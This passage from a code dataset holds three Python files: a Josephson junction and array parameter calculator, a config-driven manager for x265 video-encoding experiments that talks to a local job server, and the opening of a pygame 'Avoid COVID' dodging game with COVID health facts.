T\r\n if not Area is None :\r\n self.Area = Area\r\n if not RnUnit is None :\r\n self.RnUnit = RnUnit\r\n if not CjUnit is None :\r\n self.CjUnit = CjUnit\r\n if not Cground is None :\r\n self.Cground = Cground\r\n \r\n \r\n self.Delta0 = self.calcDelta0(self.Tc)\r\n self.Delta = self.calcDelta(self.T, self.Tc, self.Delta0)\r\n self.Rn = self.calcRn(self.Area, self.RnUnit)\r\n self.Cj = self.calcCj(self.Area, self.CjUnit)\r\n self.Ic = self.calcIc(self.Rn,self.Delta,self.T)\r\n self.Ej = self.calcEj(self.Ic)\r\n self.Ec = self.calcEc(self.Cj)\r\n # in the following case, the junction current is assumed to be a thousand \r\n # times smaller than the critical current\r\n self.Lj = self.calcLj_lowCurr(self.Ic, self.Ic*1e-3) \r\n self.F0 = self.calcF0(self.Lj, self.Cj)\r\n \r\n\r\n def calcDelta0(self,Tc):\r\n ''' This function calculates the zero kelvin gap value based on BCS theory'''\r\n return 1.764*self.kb_*Tc # gap value in Joules\r\n \r\n def calcDelta(self,T,Tc,d0):\r\n ''' This function calculates the finite-temperature gap based on a simplified equation that is more valid around 0 and Tc'''\r\n return d0*np.tanh((np.pi/1.764)*np.sqrt(0.95333*((Tc/T)-1))) # gap value in Joules\r\n\r\n def calcRn(self,Area,RnUnit):\r\n return RnUnit/Area \r\n \r\n def calcCj(self,Area,CjUnit):\r\n return CjUnit*Area\r\n\r\n def calcIc(self,Rn,Delta,T):\r\n '''This function calculates the junction critical current based on Ambegaokar-Baratoff relation [Ambegaokar1963]\r\n '''\r\n return (np.pi*Delta/(2*self.ec_*Rn))*np.tanh(Delta/(2*self.kb_*T))\r\n \r\n def calcEj(self,Ic):\r\n return self.h_*Ic/(4*self.ec_*np.pi)\r\n \r\n def calcEc(self,Cj):\r\n return self.ec_**2/(2*Cj)\r\n \r\n def calcLj_lowCurr(self,Ic,I):\r\n return self.Phi0_/(2*np.pi*Ic*np.sqrt(1-(I/Ic)**2))\r\n \r\n def calcF0(self,Lj,Cj):\r\n return 1/(2*np.pi*np.sqrt(Lj*Cj))\r\n \r\n def junctionInfo(self,PrintInfo=True):\r\n self.update()\r\n txt = ('\\n\\nJunction Information: \\n' +\r\n '\\n=================================================================' +\r\n '\\n* F0 = ' + '%0.2f' % (self.F0/1e9) + ' GHz Plasma frequency ' +\r\n '\\n* Delta('+str(self.T)+'K) = ' + '%0.2f' % (self.Delta/(self.h_*1e9)) + ' GHz Gap value'\r\n '\\n* ic(' + str(self.T) + 'K) = ' + '%0.3f' % (self.Ic*1e-6/self.Area) + ' uA/um^2 Critical current density'\r\n '\\n* Ic(' + str(self.T) + 'K) = ' + '%0.2f' % (self.Ic*1e9) + ' nA Critical current'\r\n '\\n*----------------------------------------------------------------'\r\n '\\n* Cj = ' + '%0.3f' % (self.Cj*1e15) + ' fF'\r\n '\\n* Lj = ' + '%0.3f' % (self.Lj*1e9) + ' nH'\r\n '\\n* Rjn = ' + '%0.3f' % (self.Rn/1e3) + ' kOhm'\r\n '\\n*----------------------------------------------------------------'\r\n '\\n* Ej = ' + '%0.3f' % (self.Ej/(self.h_*1e9)) + ' GHz'\r\n '\\n* Ec = ' + '%0.3f' % (self.Ec/(self.h_*1e9)) + ' GHz'\r\n '\\n* Ej/Ec = ' + '%0.3f' % (self.Ej/self.Ec) +\r\n '\\n================================================================= \\n\\n')\r\n \r\n if PrintInfo is True:\r\n print(txt)\r\n \r\n return txt\r\n \r\n\r\n\r\n \r\nclass array():\r\n def __init__(self, junction, Cs, N):\r\n self.h_ = 6.62606957e-34 # planck constant (J.s)\r\n self.kb_ = 1.3806488e-23 # Boltzman coefficient (J.K^-1)\r\n \r\n self.j = junction\r\n self.Cs = Cs \r\n self.N = N\r\n \r\n self.update()\r\n \r\n \r\n def update(self, junction = None, N = None, Cs = None):\r\n \r\n if not junction is None :\r\n self.j = junction\r\n if not N is None :\r\n self.N = N \r\n if not Cs is None :\r\n self.Cs = Cs \r\n \r\n self.slipRate = self.calcSlipRate(self.j.Ej,self.j.Ec,self.N)\r\n self.unloadedModes = self.calcModesUnloaded(self.j.F0, np.arange(1,np.floor(self.N/2)), self.N, self.j.Cj, self.j.Cground)\r\n self.loadedModes = self.calcModesLoaded(self.j.F0, np.arange(1,np.floor(self.N/2)), self.N, self.j.Cj, self.j.Cground,self.Cs,self.j.Ec,self.j.Ej)\r\n self.thermalPop = self.calcThermalPop(self.slipRate, self.j.T)\r\n \r\n \r\n def calcSlipRate(self,Ej,Ec,N):\r\n return ((1/self.h_)*N*16\r\n *np.sqrt((Ej*Ec/np.pi))\r\n *(Ej/(2*Ec))**0.25\r\n *np.exp(-np.sqrt(8*Ej/Ec))) \r\n \r\n def calcModesUnloaded(self,f0,n,N,Cj,C0):\r\n return f0*np.sqrt((1-np.cos(np.pi*n/N))/(1-np.cos(np.pi*n/N)+C0/(2*Cj)))\r\n \r\n def calcModesLoaded(self,f0,n_vec,N,C_j,C_0,C_s,E_c,E_j):\r\n #eq_even = lambda omega_l: -1020.0*np.sqrt(2)*C_s*omega_l*np.sqrt(E_c/(E_j*(-np.cos(np.pi*n/N) + 1)*(C_0/(2*C_j) - np.cos(np.pi*n/N) + 1))) - np.tan(np.pi*n*omega_l/(2*f0*np.sqrt((-np.cos(np.pi*n/N) + 1)/(C_0/(2*C_j) - np.cos(np.pi*n/N) + 1))))\r\n #eq_odd = lambda omega_l: -np.tan(np.pi*n*omega_l/(2*f0*np.sqrt((-np.cos(np.pi*n/N) + 1)/(C_0/(2*C_j) - np.cos(np.pi*n/N) + 1)))) + 0.000490196078431373*np.sqrt(2)/(C_s*omega_l*np.sqrt(E_c/(E_j*(-np.cos(np.pi*n/N) + 1)*(C_0/(2*C_j) - np.cos(np.pi*n/N) + 1))))\r\n \r\n sol = np.array([])\r\n eps = 1e2\r\n\r\n n_vec = np.int_(n_vec)\r\n for n in n_vec:\r\n \r\n if n%2==0: # even numbers\r\n #eq = lambda w_l_num: eq_even_num(nn,N_num,C0_num,Cj_num,Cs_num,w0_num,Ec_num,Ej_num,w_l_num)\r\n eq = lambda omega_l: -1020.0*np.sqrt(2)*C_s*omega_l*np.sqrt(E_c/(E_j*(-np.cos(np.pi*n/N) + 1)*(C_0/(2*C_j) - np.cos(np.pi*n/N) + 1))) - np.tan(np.pi*n*omega_l/(2*f0*np.sqrt((-np.cos(np.pi*n/N) + 1)/(C_0/(2*C_j) - np.cos(np.pi*n/N) + 1))))\r\n sol = np.append(sol,opt.ridder(eq,self.unloadedModes[n-1]*(1-1/n)+eps,self.unloadedModes[n-1]-eps))\r\n else:\r\n #eq = lambda w_l_num: eq_odd_num(nn,N_num,C0_num,Cj_num,Cs_num,w0_num,Ec_num,Ej_num,w_l_num)\r\n eq = lambda omega_l: -np.tan(np.pi*n*omega_l/(2*f0*np.sqrt((-np.cos(np.pi*n/N) + 1)/(C_0/(2*C_j) - np.cos(np.pi*n/N) + 1)))) + 0.000490196078431373*np.sqrt(2)/(C_s*omega_l*np.sqrt(E_c/(E_j*(-np.cos(np.pi*n/N) + 1)*(C_0/(2*C_j) - np.cos(np.pi*n/N) + 1))))\r\n if n==1:\r\n sol = np.append(sol,opt.ridder(eq,eps,self.unloadedModes[n-1]-eps))\r\n else:\r\n sol = np.append(sol,opt.ridder(eq,self.unloadedModes[n-1]*(1-2/n)+eps,self.unloadedModes[n-1]-eps))\r\n\r\n return sol\r\n \r\n \r\n def calcThermalPop(self,slipRate,T):\r\n return np.exp(-2*slipRate*self.h_/(self.kb_*T))/(1 + np.exp(-2*slipRate*self.h_/(self.kb_*T)))*100\r\n \r\n def arrayInfo(self,PrintInfo=True):\r\n self.update()\r\n txt =('\\n\\nArray Information: \\n' +\r\n '\\n=================================================================' +\r\n '\\n* Cs = ' + '%0.3f' % (self.Cs*1e15) + 'fF' +\r\n '\\n* Cj/C0 = ' + '%0.3f' % (self.j.Cj/self.j.Cground) + \r\n '\\n* Lj_array = ' + '%0.3f' % (1e9*self.N*self.j.Lj) + ' nH' + \r\n '\\n* Ej_array = ' + '%0.3f' % (1e-9*self.j.Ej/(self.h_*self.N)) + ' GHz' +\r\n '\\n* First unloaded mode = ' + '%0.3f' % (1e-9*self.unloadedModes[0]) + ' GHz (K=1)' + \r\n '\\n* First loaded mode = ' + '%0.3f' % (1e-9*self.loadedModes[0]) + ' GHz (K=1)' +\r\n '\\n* Phase slipRate = ' + '%0.2e' % (self.slipRate) + ' Hz' +\r\n '\\n* Qubit thermal population = ' + '%0.2f' % (self.thermalPop) + ' %' +\r\n '\\n================================================================= \\n\\n' \r\n )\r\n if PrintInfo is True:\r\n print(txt)\r\n \r\n return txt\r\n \r\n \r\n \r\n \r\n", "sub_path": "JJObject.py", "file_name": "JJObject.py", "file_ext": "py", "file_size_in_byte": 9749, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "numpy.pi", "line_number": 24, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 26, "usage_type": "attribute"}, {"api_name": "numpy.tanh", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 78, "usage_type": "attribute"}, {"api_name": "numpy.sqrt", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 89, "usage_type": "attribute"}, {"api_name": "numpy.tanh", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 92, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 98, "usage_type": "attribute"}, {"api_name": "numpy.sqrt", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 101, "usage_type": "attribute"}, {"api_name": "numpy.sqrt", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 151, "usage_type": "call"}, {"api_name": "numpy.floor", "line_number": 151, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 152, "usage_type": "call"}, {"api_name": "numpy.floor", "line_number": 152, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 158, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 158, "usage_type": "attribute"}, {"api_name": "numpy.exp", "line_number": 160, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 160, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 163, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 163, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 163, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 169, "usage_type": "call"}, {"api_name": "numpy.int_", "line_number": 172, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 177, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 177, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 177, "usage_type": "attribute"}, {"api_name": "numpy.tan", "line_number": 177, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 178, "usage_type": "call"}, {"api_name": "scipy.optimize.ridder", "line_number": 178, "usage_type": "call"}, {"api_name": "scipy.optimize", "line_number": 178, "usage_type": "name"}, {"api_name": "numpy.tan", "line_number": 181, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 181, "usage_type": "attribute"}, {"api_name": "numpy.sqrt", "line_number": 181, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 181, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 183, "usage_type": "call"}, {"api_name": "scipy.optimize.ridder", "line_number": 183, "usage_type": "call"}, {"api_name": "scipy.optimize", "line_number": 183, "usage_type": "name"}, {"api_name": "numpy.append", "line_number": 185, "usage_type": "call"}, {"api_name": "scipy.optimize.ridder", "line_number": 185, "usage_type": "call"}, {"api_name": "scipy.optimize", "line_number": 185, "usage_type": "name"}, {"api_name": "numpy.exp", "line_number": 191, "usage_type": "call"}]} {"seq_id": "40982848", "text": "from urllib.parse import urlencode\nfrom urllib.request import Request, urlopen\nimport os\nimport re\nimport json\nimport argparse\nimport glob\nimport time\nfrom adapter import *\nfrom string import Formatter\n\n\nclass SafeFormatter(Formatter):\n def get_value(self, key, args, kwargs):\n if key not in kwargs:\n return \"{%s}\" % key\n else:\n return kwargs[key]\n\n\nform = SafeFormatter()\n\nbase_url = 'http://127.0.0.1:42024' # Set destination URL here\n\nconf_pro = {\n \"once\": {\n \"base\": \"/home/faymek/codexp\",\n \"inpath\": \"{base}/seq\",\n \"output\": \"{base}/result/{$inname}_{$modename}_{para}\"\n },\n \"iter\": [\n \"input | $mode | para\",\n \"{inpath}/*.yuv | QP | 27,32,37,42\"\n ],\n \"each\": {\n \"$inname\": \"os.path.basename(state['input']).split('.')[0]\",\n \"$modename\": \"state['$mode'].replace('$','')\",\n \"$mode\": {\n \"QP\": \"-q {para}\",\n \"RATE\": \"--RateControl=1 --TargetBitrate={para}000\",\n \"$QPIF\": \"modeQPIF(state)\"\n },\n \"$meta\": {\n \"InputBitDepth\": \"8\",\n \"InputChromaFormat\": \"420\",\n \"FrameRate\": \"30\",\n \"SourceWidth\": \"1920\",\n \"SourceHeight\": \"1080\",\n \"$FramesToBeEncoded\": \"str(calcAllFrames(state))\",\n \"$IntraPeriod\": \"'32' if meta['FrameRate'] == '30' else '64'\",\n \"Level\": \"3.1\"\n }\n },\n \"shell\": [\n \"x265 --preset fast\",\n \"--input {input} --fps 25 --input-res 3840x2160\",\n \"--output {output}.bin\",\n \"--psnr --ssim --csv {output}.csv --csv-log-level 2\",\n \" -f 250 {$mode}\"\n ]\n}\n\ndefault_sys1 = {\n \"$inname\": \"os.path.basename(state['input']).split('.')[0]\",\n \"$modename\": \"state['$mode'].replace('$','')\"\n}\n\n\ndef calcAllFrames(state):\n meta = state['meta'][state['input']]\n return readyuv420(state['input'],\n meta[\"InputBitDepth\"], meta[\"SourceWidth\"], meta[\"SourceHeight\"])\n\n\ndef modeQPIF(state):\n # QPIF 32.7 -> QP32 qpif0.3*nframes\n if not \"FramesToBeEncoded\" in state['meta'][state['input']]:\n print(\"In QPIF mode, no meta information find. Use meta.\")\n return \"\"\n nframes = eval(state['meta'][state['input']][\"FramesToBeEncoded\"])\n para = float(state['para'])\n qp = int(para)\n qpif = int((qp + 1 - para)*nframes)\n return \"--QP={} --QPIncrementFrame={}\".format(qp, qpif)\n\n\ndef post(addr, pf):\n request = Request(base_url+addr, urlencode(pf).encode())\n return urlopen(request).read().decode()\n\n\ndef get(addr):\n request = Request(base_url+addr)\n return urlopen(request).read().decode()\n\n\ndef loadconf(fn=None):\n if not fn:\n fn = getlatestjob()\n if not os.path.exists(fn):\n print(\"The Job doesn't exist. Use new.\")\n exit(0)\n with open(fn, \"r\") as f:\n conf = json.load(f)\n return conf\n\n\ndef saveconf(conf, fn=None):\n if not fn:\n fn = getlatestjob()\n with open(fn, \"w\") as f:\n json.dump(conf, f, indent=4)\n\n\ndef getabspath(s):\n return os.path.abspath(os.path.expanduser(s))\n\n\ndef readyuv420(filename, bitdepth, W, H):\n if bitdepth == '8':\n bytesPerPixel = 1\n elif bitdepth == '10':\n bytesPerPixel = 2\n pixelsPerFrame = int(H) * int(W) * 3 // 2\n bytesPerFrame = bytesPerPixel * pixelsPerFrame\n fp = open(filename, 'rb')\n fp.seek(0, 2)\n totalframe = fp.tell() // bytesPerFrame\n return str(totalframe)\n\n\ndef getlatestjob():\n jobs = sorted(glob.glob(\"job*.json\"))\n return jobs[-1] if jobs else \"\"\n\n\ndef readcfg(fn):\n meta = {}\n with open(fn, \"r\") as f:\n for line in f:\n k, v = line.replace(':', ' ').split()\n meta[k] = v\n return meta\n\n\ndef new(template=\"conf_win_x265\"):\n lastjob = getlatestjob().split('.')[0]\n idx = int(lastjob[3:]) + 1 if lastjob else 1 # get next job id\n curjob = \"job%03d.json\" % idx\n with open(curjob, \"w\") as f:\n json.dump(conf_pro, f, indent=4)\n print(\"[ok] %s newly created.\" % curjob)\n\n\ndef meta_fn():\n conf = loadconf()\n\n for file in conf['meta']:\n filename = os.path.basename(file)\n meta = conf[\"each\"][\"$meta\"].copy()\n items = filename[:-4].split(\"_\")[1:]\n for item in items:\n if re.match(r\"^[0-9]*x[0-9]*$\", item):\n meta[\"SourceWidth\"], meta[\"SourceHeight\"] = item.split(\"x\")\n elif re.match(r\"^[0-9]*fps$\", item):\n meta[\"FrameRate\"] = item.split(\"fps\")[0]\n elif re.match(r\"^[0-9]*bit\", item):\n meta[\"InputBitDepth\"] = item.split(\"bit\")[0]\n elif item in [\"444\", \"440\", \"422\", \"411\", \"420\", \"410\", \"311\"]:\n meta[\"InputChromaFormat\"] = item\n elif re.match(r\"^[0-9]*$\", item):\n meta[\"FrameRate\"] = item\n\n state = {'input': file, 'meta': {file: meta}} # using for eval context\n new_meta = {}\n for key, value in meta.items():\n if \"$\" in key:\n new_meta[key[1:]] = str(eval(value))\n else:\n new_meta[key] = value\n conf[\"meta\"][file] = new_meta\n\n if file.endswith('.yuv'):\n cfg = file.replace(\".yuv\", \".cfg\")\n with open(cfg, \"w\") as autocfg:\n for key, value in new_meta.items():\n autocfg.write('{0:30}: {1}\\n'.format(key, value))\n\n saveconf(conf)\n print(\"[meta+%3d] Auto parsing finished. Please check.\" %\n len(conf[\"meta\"]))\n\n\ndef start(force=False):\n conf = loadconf()\n\n key_sys0 = ['$mode', '$meta']\n # TODO: default sys key, peform simple func\n # key_sys1 = ['$inname', '$modename']\n\n # get all {$var} in key_exec, include key_iter\n key_exec = key_sys0\n key_once_exec = []\n key_once_str = []\n for key in conf[\"once\"].keys():\n if \"$\" in key:\n key_once_exec.append(key)\n else:\n key_once_str.append(key)\n key_exec.extend(key_once_exec)\n for key in conf[\"each\"].keys():\n if \"$\" in key:\n key_exec.append(key)\n\n it_sheet = []\n for v in conf[\"iter\"]:\n it_sheet.append(v.replace(' ', '').split('|'))\n key_iter = it_sheet[0]\n key_exec.extend(key_iter)\n\n state = {k: \"{%s}\" % k for k in key_exec} # keep the same after format\n state.update(conf[\"once\"])\n\n for key in key_once_exec:\n state[key] = eval(conf[\"once\"][key])\n\n for key in key_once_str:\n v = conf[\"once\"][key]\n t = v.format(**state)\n if '\\\\' in v or '/' in v:\n t = getabspath(t)\n os.makedirs(os.path.dirname(t), exist_ok=True)\n state[key] = t\n\n # get sheet(2D) -> table(3D)\n it_table = [] # 3D array\n for p1 in it_sheet[1:]:\n t1 = []\n for p2 in p1:\n t2 = []\n for p3 in p2.split(','):\n p3 = p3.format(**state)\n if '*' in p3:\n t2.extend(sorted(glob.glob(p3, recursive=True)))\n else:\n t2.append(p3)\n t1.append(t2)\n it_table.append(t1)\n\n # get table(3D) ->paras(2D), using eval trick\n # 1,2|3,4,5|6|7,8 -> 1367,1368,1467,1468,...\n paras = []\n for p in it_table:\n tuples = ','.join([\"t%d\" % t for t in range(len(p))])+','\n fors = ' '.join(['for t{0} in p[{0}]'.format(t)\n for t in range(len(p))])\n trick = \"[({}) {}]\".format(tuples, fors)\n paras.extend(eval(trick, {\"p\": p}))\n\n if len(paras) == 0:\n print(\"Maybe the wrong file glob.\")\n\n # get meta, get files list\n if 'meta' not in conf or len(conf['meta']) == 0:\n files = []\n for p in it_table:\n files.extend(p[0])\n conf['meta'] = {k: {} for k in list(set(files))}\n saveconf(conf)\n meta_fn() # from filename\n conf = loadconf()\n\n # get tasks iterately by using it_dict\n tasks = {}\n cmd = form.format(' '.join(conf[\"shell\"]), **state)\n print(cmd)\n compute = conf[\"each\"]\n for values in paras:\n context = {k: v for k, v in zip(key_iter, values)}\n state.update(context)\n meta = conf['meta'][state['input']]\n state.update(meta)\n # print(state)\n\n # compute {$each}\n for k, v in compute.items():\n if type(v) is str:\n if k.startswith('$'):\n state[k] = eval(v)\n else:\n state[k] = v.format(**state)\n\n # regxp cmd to get options\n cmd_tmp = cmd.format(**state)\n opt_cfgs = re.findall(r\"-c +([^ ]+.cfg)\", cmd_tmp)\n opt_frames = re.findall(r\"-f +(\\d+) +\", cmd_tmp)\n\n # get meta, guess -c **/*.cfg\n for cfg in opt_cfgs:\n if not os.path.exists(cfg):\n print(\"%s not found. You may use meta to parse filename.\" % cfg)\n return\n cfgname = os.path.basename(cfg).split('.')[0]\n if (cfgname.split('_')[0]) == (state['$inname'].split('_')[0]):\n state['meta'] = readcfg(cfg)\n conf['meta'][state['input']] = state['meta']\n\n # get nframes\n nframes = \"0\"\n if len(opt_frames) > 0:\n nframes = opt_frames[-1]\n else:\n nframes = conf['meta'][state['input']].get(\n 'FramesToBeEncoded', '0')\n\n # process sys0.mode\n if '$mode' in key_iter:\n key = state['$mode']\n value = compute['$mode'][key]\n if \"$\" in key:\n state['$mode'] = eval(value)\n else:\n state['$mode'] = value.format(**state)\n\n shell = cmd.format(**state)\n output = state[\"output\"].format(**state)\n tasks[output] = {\"status\": \"0/%s\" % nframes, \"shell\": shell}\n\n conf[\"tasks\"] = tasks\n saveconf(conf)\n print(\"[task+%3d] Tasks generated.\" % len(tasks))\n\n\ndef run(core=4):\n try:\n print(get(\"/id\"))\n fn = getlatestjob()\n pf = {'fpath': fn, 'core': core}\n print(post(\"/add\", pf))\n except:\n print(\"Server Not Running. Try python3 server.py\")\n\n\ndef show():\n history = loadconf(fn=\"history.json\")\n recent = sorted(history.keys(), reverse=True)\n tasks = history[recent[0]]\n count = {\"wait\": 0, \"excute\": 0, \"finish\": 0}\n print('\\n---Analyze recent tasks.---')\n print(\"EXP @\", recent[0])\n\n # read log\n HASLOG = False\n if HASLOG:\n fnfix = \"%s\"\n results = []\n sample = fnfix % next(iter(tasks))\n enctype = log_getEnctype(sample)\n\n for tkey, tvalue in tasks.items():\n status = \"wait\"\n cur, total = tvalue[\"status\"].split('/')\n fn = fnfix % tkey\n if os.path.exists(fn):\n status, cur, result = log_adapter(fn, enctype)\n if result:\n results.append(result)\n tvalue[\"status\"] = \"%3d/%3d\" % (int(cur), int(total))\n count[status] += 1\n print(\"[{}] {}\".format(tvalue[\"status\"], tkey.split(\"/\")[-1]))\n print('Total %d tasks, %d wait, %d excute, %d finish.' %\n (len(tasks), count[\"wait\"], count[\"excute\"], count[\"finish\"]))\n with open(\"result.csv\", \"w\") as f:\n f.write(\",\".join(LOG_KEYS[enctype])+\"\\n\")\n for result in results:\n f.write(','.join(result)+'\\n')\n print(\"result.csv generated.\")\n saveconf(history, fn=\"history.json\")\n else:\n fnfix = \"%s.png\"\n results = []\n\n for tkey, tvalue in tasks.items():\n status = \"wait\"\n fn = fnfix % tkey\n if os.path.exists(fn):\n status = \"finish\"\n else:\n print(fn)\n count[status] += 1\n print('Total %d tasks, %d wait, %d excute, %d finish.' %\n (len(tasks), count[\"wait\"], count[\"excute\"], count[\"finish\"]))\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(\n description='Media Encoding Experiment Manager. Copyright @ 2016-2020')\n parser.add_argument(\n \"verb\", choices=['start', 'new', 'meta', 'run', 'show'])\n parser.add_argument(\"--force\", action='store_true', default=False,\n help=\"new force overwrite experiments.json\")\n parser.add_argument(\"--core\", type=int, default=4,\n help=\"run with n concurrent process\")\n args = parser.parse_args()\n dict_func = {'new': new, 'start': start,\n 'meta': meta_fn, 'run': run, 'show': show}\n if args.verb == 'start':\n start(args.force)\n elif args.verb == 'run':\n run(args.core)\n else:\n dict_func[args.verb]()\n\n", "sub_path": "codexp.py", "file_name": "codexp.py", "file_ext": "py", "file_size_in_byte": 12645, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "string.Formatter", "line_number": 13, "usage_type": "name"}, {"api_name": "urllib.request.Request", "line_number": 88, "usage_type": "call"}, {"api_name": "urllib.parse.urlencode", "line_number": 88, "usage_type": "call"}, {"api_name": "urllib.request.urlopen", "line_number": 89, "usage_type": "call"}, {"api_name": "urllib.request.Request", "line_number": 93, "usage_type": "call"}, {"api_name": "urllib.request.urlopen", "line_number": 94, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 100, "usage_type": "call"}, {"api_name": "os.path", "line_number": 100, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 104, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 112, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 116, "usage_type": "call"}, {"api_name": "os.path", "line_number": 116, "usage_type": "attribute"}, {"api_name": "os.path.expanduser", "line_number": 116, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 133, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 151, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 159, "usage_type": "call"}, {"api_name": "os.path", "line_number": 159, "usage_type": "attribute"}, {"api_name": "re.match", "line_number": 163, "usage_type": "call"}, {"api_name": "re.match", "line_number": 165, "usage_type": "call"}, {"api_name": "re.match", "line_number": 167, "usage_type": "call"}, {"api_name": "re.match", "line_number": 171, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 232, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 232, "usage_type": "call"}, {"api_name": "os.path", "line_number": 232, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 244, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 295, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 296, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 300, "usage_type": "call"}, {"api_name": "os.path", "line_number": 300, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 303, "usage_type": "call"}, {"api_name": "os.path", "line_number": 303, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 364, "usage_type": "call"}, {"api_name": "os.path", "line_number": 364, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 386, "usage_type": "call"}, {"api_name": "os.path", "line_number": 386, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 396, "usage_type": "call"}]} {"seq_id": "211360037", "text": "import random\nimport time\nimport pygame\n\nprint('Hello! Welcome to Avoid COVID by the Hgamers!')\n#time.sleep(5)\nprint('In this game, you must avoid COVID by using the WASD keys. If covid hits you, lose 2 health. Every single wave you survive, you get 1 extra health. If you survive x waves, you will survive COVID, and you win the game.')\n#time.sleep(10)\nprint('On a more serious note, here are some quick facts about COVID.')\nfact1 = ('COVID-19 is a type of coronavirus, a deadly lung disease')\nfact2 = ('The most simple and most effective way to avoid COVID-19 in real life is wearing masks and using safety gloves in unsanitary areas')\nfact3 = ('Hand sanitizers are very helpful during this time, giving a quick way to make sure your hands are clean. Alternativley, washing your hands for 20 seconds is effective.')\nfact4 = ('Symptoms of COVID-19 are as follows- Chills, coughing, sneezing, breathing issues, faigue and headaches.')\n#time.sleep(5)\nprint(fact1)\n#time.sleep(5)\nprint(fact2)\n#time.sleep(10)\nprint(fact3)\n#time.sleep(10)\nprint(fact4)\ntime.sleep(5)\n\npygame.init()\nscreen = pygame.display.set_mode((800,600))\nimg = pygame.image.load(\"testimg.png\")\ncimg1 = pygame.image.load(\"cvd.png\")\n\nhumany = 500\nhumanx = random.randint(100, 600)\n\ntarget = 7\nsleeptime = 0.2\n\n\n\n#for health bars\nhblist = []\nlight_green = (0,255,0) \ndark_green = (0,128,0)\n\n#Function to add health bar\n\ndef addhealth():\n i = len(hblist)\n if i % 2 == 0:\n hblist.append(pygame.draw.rect(screen, light_green, pygame.Rect(775, 100+10*i, 10, 10)))\n else:\n hblist.append(pygame.draw.rect(screen, dark_green, pygame.Rect(775, 100+10*i, 10, 10)))\n\n#Function to delete health bar\n\ndef deletehealth():\n# fill the region where current rectangle is drawn with BG colour; not entire screen\n screen.fill((0,0,0),(775,100,10,300))\n j = len(hblist)\n\n del hblist[j-1]\n\n for m in range(0,j-1):\n if m % 2 == 0:\n pygame.draw.rect(screen, light_green, pygame.Rect(775, 100+10*m, 10, 10))\n else:\n pygame.draw.rect(screen, dark_green, pygame.Rect(775, 100+10*m, 10, 10))\n\n\n\ndef imginsert(x_human,y_human):\n screen.blit(img, (x_human,y_human))\n\ndef cimginsert(x_human,y_human):\n screen.blit(cimg1, (x_human,y_human))\n\n\ndef covid(x_human,y_human):\n imginsert(x_human,y_human)\n running = True\n no_loop = 0\n move_right = False\n move_left = False\n hit = False\n no_hit = 0\n countsuccess = 0\n win = False\n\n for h in range(4):\n addhealth()\n\n while running == True:\n cy = 0\n cy1 = 300\n cy2 = 400\n cx = x_human\n cx1 = x_human\n cx2 = x_human\n cimginsert(x_human, cy)\n pygame.display.update()\n\n img1 = False\n img2 = False\n \n for i in range(121):\n \n for event in pygame.event.get(): \n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_LEFT:\n move_left = True\n elif event.key == pygame.K_RIGHT:\n move_right = True\n elif event.type == pygame.KEYUP:\n if event.key == pygame.K_LEFT:\n move_left = False\n elif event.key == pygame.K_RIGHT:\n move_right = False\n \n if move_left:\n if x_human >= 25:\n x_human = x_human -15*(no_loop+1)/4\n screen.fill((0,0,0),(x_human+15*(no_loop+1)/4,y_human,100,100))\n if move_right:\n if x_human <= 600:\n x_human = x_human + 15*(no_loop+1)/4\n screen.fill((0,0,0),(x_human-15*(no_loop+1)/4,y_human,100,100))\n \n imginsert(x_human, y_human)\n pygame.display.update()\n\n screen.fill((0,0,0), (cx,cy,25,20))\n screen.fill((0,0,0), (cx1,cy1,25,20))\n screen.fill((0,0,0), (cx2,cy2,25,20))\n \n cy = cy + 5\n cimginsert(cx, cy)\n \n if img1 == True:\n cy1 = cy1 + 5\n cimginsert(cx1, cy1)\n\n if img2 == True:\n cy2 = cy2 + 5\n cimginsert(cx2, cy2)\n \n pygame.display.update()\n time.sleep(sleeptime/(no_loop+1))\n\n if i == 40:\n cx1 = x_human\n cimginsert(cx1,cy1)\n img1 = True\n \n\n if i == 80:\n cx2 = x_human\n cimginsert(cx2,cy2)\n img2 = 